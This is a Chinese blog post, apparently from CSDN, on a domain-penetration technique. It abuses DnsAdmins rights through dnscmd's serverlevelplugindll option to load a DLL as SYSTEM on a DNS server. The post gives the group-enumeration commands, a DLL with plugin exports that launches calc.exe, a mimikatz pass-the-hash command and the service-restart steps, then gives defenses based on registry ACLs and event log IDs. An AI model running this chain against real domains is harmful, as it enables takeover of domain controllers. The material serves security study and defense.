渗透后用命令行开启远程服务器,域渗透——利用dnscmd在DNS服务器上实现远程加载Dll...

0x00 前言

由 Shay Ber 公开的一个利用方法,在域环境中,使用 DNSAdmin 权限能够在 DNS 服务器上实现远程加载 Dll。这不算漏洞,但可以作为一个域渗透的技巧,本文将结合自己的经验整理这个利用技巧,添加自己的理解,对照利用思路给出防御建议。

参考资料:

0x01 简介

本文将要介绍以下内容:

·详细利用方法

·防御思路

0x02 详细利用方法

利用条件:

已获得域内 DnsAdmins,Domain Admins 或者 Enterprise Admins 组内用户的口令或者 hash

注:

默认配置下,不仅仅是 DnsAdmins 组内的用户,Domain Admins 或者 Enterprise Admins 组内的用户也可以

1、查看关键组内的用户

查看所有的组:

net group /domain

查看 DnsAdmins 组内的用户:

无法使用 net group 命令查看,可以使用PowerView查看

import-module .PowerView.ps1 Get-NetGroupMember -GroupName "DNSAdmins"

查看 Domain Admins 组内的用户:

net group "Domain Admins" /domain

查看 Enterprise Admins 组内的用户:

net group "Enterprise Admins" /domain

2、获得关键用户的口令或者 hash

需要获得 DnsAdmins,Domain Admins 或者 Enterprise Admins 组内任一用户的口令或者 hash。

3、准备 Payload.dll

需要定义三个导出函数:

·DnsPluginInitialize

·DnsPluginCleanup

·DnsPluginQuery

定义导出函数可以参考之前开源的工程:

这里使用 def 文件的方式声明导出函数,测试代码如下:

dllmain.cpp:

DWORD WINAPI DnsPluginInitialize ( PVOID a1, PVOID a2 ) { return 0; } DWORD WINAPI DnsPluginCleanup ( ) { return 0; } DWORD WINAPI DnsPluginQuery ( PVOID a1, PVOID a2, PVOID a3, PVOID a4 ) { WinExec ( "calc.exe", SW_SHOWNORMAL ) ; return 0; } BOOL APIENTRY DllMain ( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch ( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

.def 文件:

EXPORTS DnsPluginInitialize DnsPluginCleanup DnsPluginQuery

编译生成 testdns.dll。

4、Payload.dll 保存的位置

需要能被 DNS 服务器远程访问。

这里可以使用域内共享文件夹 SYSVOL,默认所有的域用户都能访问。

我的测试域环境名称为 test.com,使用的域内共享文件夹路径为:\test.comSYSVOLtest.comscriptstestdns.dll

5、准备 dnsadmin

通常,域内的 Windows 主机不支持 dnsadmin 命令。

默认安装的系统:

·Windows Server 2003

·Windows Server 2008

·Windows Server 2003 R2

·Windows Server 2008 R2

·Windows Server 2012

·Windows Server 2003 with SP1

参考资料:

Win7 系统在使用时需要安装 Remote Server Administration Tools ( RSAT )

这里介绍在未安装 Remote Server Administration Tools ( RSAT ) 的系统上执行 dnscmd 命令的方法:

( 1 ) 将 dnscmd.exe 保存在 C:WindowsSystem32 下

可用下载地址 :

( 2 ) 将 dnscmd.exe.mui 保存在 C:WindowsSystem32en-US 下

dnscmd.exe 和 dnscmd.exe.mui 是在我的测试系统 ( Windows Server 2008 R2x64 ) 中获得的。

6、启动 dnscmd

dnscmd 不支持输入凭据进行远程操作的功能,这里需要使用 mimikatz 的 Over pass the hash 功能。

测试环境已获得关键用户的信息如下:

用户名:Administrator 口令:DomainAdmin456! hash:A55E0720F0041193632A58E007624B40

命令行下执行:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"

这样会弹出一个 cmd.exe,在 cmd.exe 中执行 dnscmd 命令即可。

也可以实现自动化输入:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:"cmd.exe /c c:test1.bat""

c:test1.bat 中保存 dnscmd 的命令。

7、使用 dnscmd 命令

DNS 服务器的 IP:192.168.10.1

命令行执行:

dnscmd 192.168.10.1 /config /serverlevelplugindll \test.comSYSVOLtest.comscriptstestdns.dll

对于 DNS 服务器来说,此时会新建一个注册表项。

位置:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesDNSParameters

·ServerLevelPluginDll

·REG_SZ

·\test.comSYSVOLtest.comscriptstestdns.dll

8、重启 DNS 服务后会加载 dll

等待 DNS 服务器重启。

或者远程重启 DNS 服务器:

sc \192.168.10.1 stop dns sc \192.168.10.1 start dns

DNS 服务器的后台进程如下图:

dns.exe 将会多次调用 testdns.dll,权限为 System。

9、实际利用

实际环境中,通常 DNS 服务器和域控制器是同一台主机

0x03 防御建议

1、控制权限

避免关键用户凭据被攻击者获得。

这里可以使用PowerView查看关键用户登陆过哪些主机。

import-module .PowerView.ps1 Invoke-UserHunter -UserName AdministratorUser

2、监控和设置注册表

位置:KEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesDNSParameters

利用 dnscmd 在 DNS 服务器上实现远程加载 Dll 时,会以 System 权限修改注册表,如果修改注册表 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesDNSParameters 的 ACL ( Access Control List ) ,删除 System 用户的 Set Value 权限,能够阻止这个方法的利用。

如下图:

但有可能影响其他正常功能,该注册表项下的其他键值信息如下:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesDNSParameters GlobalQueryBlockList REG_MULTI_SZ wpadisatap EnableGlobalQueryBlockList REG_DWORD 0x1 PreviousLocalHostname REG_SZ WIN-F08C969D7FM.test.com BootMethod REG_DWORD 0x3 AdminConfigured REG_DWORD 0x1

3、查看日志

( 1 ) 记录 DNS 服务的启动和停止

位置:Application and Services Logs->DNS Server

命令行查看:

wevtutil qe "dns server" /rd:true /f:text

ID 为 2 代表 DNS 服务启动,ID 为 4 代表 DNS 服务关闭。

( 2 ) 记录添加 Dll 的操作

需要使用增强版的 DNS 日志记录和诊断功能,Server2016 默认支持,Server2012 需要安装补丁 2956577

参考文档:

补丁说明:

补丁下载:

添加 Dll 的操作会产生 ID 为 541 的日志

0x04 小结

本文介绍了利用 dnscmd 在 DNS 服务器上实现远程加载 Dll 的方法,结合利用思路给出防御建议。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值